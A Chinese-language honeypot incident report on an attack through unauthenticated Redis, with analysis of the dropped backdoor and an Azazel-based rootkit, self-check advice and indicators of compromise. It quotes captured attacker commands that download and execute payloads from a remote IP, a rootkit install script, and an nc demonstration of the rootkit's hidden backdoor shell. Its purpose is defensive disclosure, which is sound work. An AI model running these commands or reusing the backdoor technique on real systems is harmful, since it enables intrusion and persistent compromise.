唐朝實驗室蜜網專案組

0x00 概述

---

redis是一款基於記憶體與硬碟的高效能資料庫，在國內外被大型網際網路企業、機構等廣泛採用。但其一些安全配置經驗卻不如“LAMP”等成熟，所以很多國內企業、機構的redis都存在簡單的空口令、弱密碼等安全風險。

11月10號，國外安全研究者的一份文件展示，redis在未進行有效驗證，並且伺服器對外開啟了SSH服務的前提下，攻擊者有可能惡意登入伺服器甚至進行提權操作（root許可權）

透過與一些企業機構的溝通，已經發現了大量掃描與自動化攻擊痕跡。

唐朝實驗室蜜網專案組於11月10號的晚上對蜜罐系統進行了更新，加入了redis服務，經過一個晚上的觀測，我們捕獲到了一次針對redis的掃描以及攻擊，包括攻擊者使用的遠控。

我們的蜜罐紀錄顯示攻擊者透過蜜罐中redis的漏洞進行攻擊，進行遠端控制程式的植入。

0x01 時間流

---

11月10號 晚上11點多我們的蜜罐系統檢測一個美國ip到對redis服務的掃描

#!bash
Nov 10 23:07:51 redis[23]: Accepted 104.219.234.226:20572
Nov 10 23:58:26 redis[23]: Accepted 104.219.234.226:4460
Nov 10 23:58:30 redis[23]: Accepted 104.219.234.226:4493
Nov 10 23:58:33 redis[23]: Accepted 104.219.234.226:4797
Nov 10 23:58:36 redis[23]: Accepted 104.219.234.226:5108
Nov 10 23:58:41 redis[23]: Accepted 104.219.234.226:5424

攻擊者在登入redis後寫入了public key

#!bash
1.1.1.1:6379> get crackit
"\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcuHEVMRqY/Co/RJ5o5RTZmpl6sZ7U6w39WAvM7Scl7nGvr5mS4MRRIDaoAZpw7sPjmBHz2HwvAPYGCekcIVk8Xzc3p31v79fWeLXXyxts0jFZ8YZhYMZiugOgCKvRIs63DFf1gFoM/OHUyDHosi8E6BOi7ANqupScN8cIxDGsXMFr4EbQn4DoFeRTKLg5fHL9qGamaXXZRECkWHmjFYUZGjgeAiSYdZR49X36jQ6nuFBM18cEZe5ZkxbbtubnbAOMrB52tQX4RrOqmuWVE/Z0uCOBlbbG+9sKyY9wyp/aHLnRiyC8GBvbrZqQmyn9Yu1zBp3tY8Tt6DWmo6BLZV4/ [email protected]\n\n\n\n”

之後檢視了key

#!bash
cat authorized_keys
REDIS0006�0xcafe0b3c6eu30x1447215705654crackitA�

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcuHEVMRqY/Co/RJ5o5RTZmpl6sZ7U6w39WAvM7Scl7nGvr5mS4MRRIDaoAZpw7sPjmBHz2HwvAPYGCekcIVk8Xzc3p31v79fWeLXXyxts0jFZ8YZhYMZiugOgCKvRIs63DFf1gFoM/OHUyDHosi8E6BOi7ANqupScN8cIxDGsXMFr4EbQn4DoFeRTKLg5fHL9qGamaXXZRECkWHmjFYUZGjgeAiSYdZR49X36jQ6nuFBM18cEZe5ZkxbbtubnbAOMrB52tQX4RrOqmuWVE/Z0uCOBlbbG+9sKyY9wyp/aHLnRiyC8GBvbrZqQmyn9Yu1zBp3tY8Tt6DWmo6BLZV4/ [email protected]

於11點58分ip 104.219.234.226登陸了系統並執行了以下命令

#!bash
curl http://85.118.98.197:61050/cyka/blyat/x.x86 > /tmp/ok; wget http://85.118.98.197:61050/cyka/blyat/x.x86 -O /tmp/ok; chmod 777 /tmp/ok; /tmp/ok

該命令透過一個喬治亞的ip 85.118.98.197下載了樣本x.x86 寫入/tmp/ok 並執行

樣本x.x86細節見 0x02

於11號早上10點10分 攻擊者透過遠端控制程式在 http://85.118.98.197:61050/root.sh 下載了root.sh指令碼並執行

#!bash
#!/bin/sh

mkdir /tmp/ok/;
cd /tmp/ok/
curl http://85.118.98.197:61050/k.tgz > /tmp/ok/k.tgz
wget http://85.118.98.197:61050/k.tgz -O /tmp/ok/k.tgz

tar -xzvf k.tgz
bash vishnu.sh

curl http://85.118.98.197:61050/done.txt > /dev/null
wget http://85.118.98.197:61050/done.txt -O /dev/null

0x02 樣本分析

---

x.x86樣本分析

樣本大小僅有23k，未經加殼保護，功能多樣，並沒有很嚴格的自我保護，初步推斷起用途只是初步篩選存在漏洞的主機，同時為下一步植入rootkit做準備。

樣本首先遍歷檔案控制程式碼，執行close操作，確保接下來可以成功刪除自身。

緊接著進行兩次fork，避免出現意外而成為殭屍程式。 完成fork後緊接著呼叫unlink刪除自身。

執行完以上的初始化任務後，樣本會嘗試連線8.8.8.8的53埠驗證網路是否通暢。如果可以連線，緊接著會與37.220.109.6的53埠建立tcp連線，開始與c2伺服器互發心跳包，等待伺服器指令。

其中c2伺服器IP為硬編碼：

下圖為心跳連線：

伺服器會不定時主動下發指令，樣本會依據收到的指令執行具體動作。

下圖為其中一個伺服器指令的資料包：

樣本收到指令後的行為如下：

解析指令：

指令解析完成後會執行對應的函式，當任務完成後會返回至loc_8049FB6，等待開始新一輪指令到來。

在本次利用過程中，此樣本短小精悍，被用作"破門"工具。在利用redis漏洞進入主機後，留下一個僅23k的木馬，反彈回主控伺服器，伺服器再統一下發指令，完成對目標的進一步入侵。

k.tgz

本次活動中，此樣本下載了遠端伺服器的一套完整rootkit級後門原始碼，試圖安裝在主機中。

rootkit來源於github開源專案https://github.com/chokepoint/azazel ，經過修改加強後植入主機。

本次活動中的rootkit是使用者態的rootkit，並沒有生成核心模組。但由於hook了絕大多數系統呼叫，被種上後門之後極其難以發現和清除。

rootkit透過寫入/etc/ld.so.preload檔案獲得優先載入權，覆蓋其希望hook的系統呼叫，導致所有使用動態連結的程式中使用的關鍵系統呼叫均被替換，幾乎無法對rootkit進行有效的檢測和清除工作。其hook之全甚至包括了pcap，所以本機抓包也是發現不了rootkit的。 大量的hook：

pcap的HOOK：

非常有趣的是，這個rootkit還使用了一種有趣的後門開shell的方案，在程式碼中可以直接透過hook系統的accept函式，當觸發到預先定義好的條件時將會呼叫drop_shell函式來彈出一個shell。 而這個shell使用的埠恰恰在rootkit所隱藏的區間內。

隨便在無加密shell埠區間內開一個埠（用nc模擬一下）

#!bash
nc -l -p 61041

然後用61042去連線這個61041埠，輸入預先設定的口令

#!bash
[email protected]:~/azazel/python-pty-shells$ nc 127.0.0.1 61041 -p 61042changeme
Welcome!
Here's a shell: [email protected]:/home/alkaid/azazel/python-pty-shells#

也就是說直接在任意埠上開了個後門，如果使用的埠號位於azazel 隱藏區間，還可以避免被發現。

當然也有加密方式的埠後門和區間，有興趣可以去試一下azazel官方文件上socat的連線方式。

本次活動中截獲的樣本，本質上是使用azazel開源專案隱藏自己的後門。但不得不說的是，這個後門作者非常聰明地將自己的後門和azazel專案緊密結合起來，由一個巧妙但並不難發現的後門一躍而成為了rootkit級別的高危惡意軟體。在這次活動中我們還發現了比較不同尋常的一點，以往的惡意軟體部署絕大多數都是採用指令碼或根據平臺直接部署二進位制檔案，而自一次，攻擊者卻使用第一次打入的遠端控制軟體下載了rootkit的全套原始碼，在受害主機上完成整個編譯安裝的過程。同時攻擊者似乎對肉雞有些潔癖，在原始碼中我們發現一個名為“kill-other”的指令碼 ，其作用是清除其他入侵者留下的木馬，確保肉雞的唯一控制權。

0x03 redis自查建議

---

請企業近期額外注意redis伺服器的異常。自查方法：檢視redis服務的認證機制，是否無認證或弱口令；同時檢查redis服務roor的.ssh目錄下是否出現非法的KEY

0x04 附錄

---

樣本md5

x.x86 9101e2250acfa8a53066c5fcb06f9848

k.tgz bd3ac812281c0d9a378383dd934a6013

ip

104.219.234.226

85.118.98.197

37.220.109.6